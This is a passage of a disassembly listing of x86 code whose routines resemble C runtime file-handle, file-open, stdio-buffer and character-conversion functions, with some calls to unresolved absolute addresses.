loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4E1F80
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4E1F80, 20h
		lea	ecx, ds:4E1E80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4E1F80
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43FB74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2620DC1h

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4E1F80
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43FB74, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2620DC1h

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4E1E80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26207BBh
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 268086Bh
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4E0B2C, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4E1E60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4E1E60, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4E0E48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4E1E60, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4E0E48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_442298

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4E0E48
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_442518
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_4422A8

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_442308
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4E0B68, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4E0D10
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4E0E20, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4E0B28, 16h
		mov	dword_4E0B2C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4E0B30
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 270087Fh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26608ABh

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 268086Bh
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4E0B2C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4E0D18
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 2610057h
		nop
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4D06DC
		push	esi
		push	ebx
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4E0D18, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4E0BE4

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610057h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4E0BE4, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_441DB4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4E0BF4
		call	near ptr 2821119h
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4E0BE4, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_441BA8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_441DB4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4E0BF4
		call	near ptr 2830000h
		nop
		test	eax, eax
		mov	eax, dword_441DB4
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4E0BF4
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

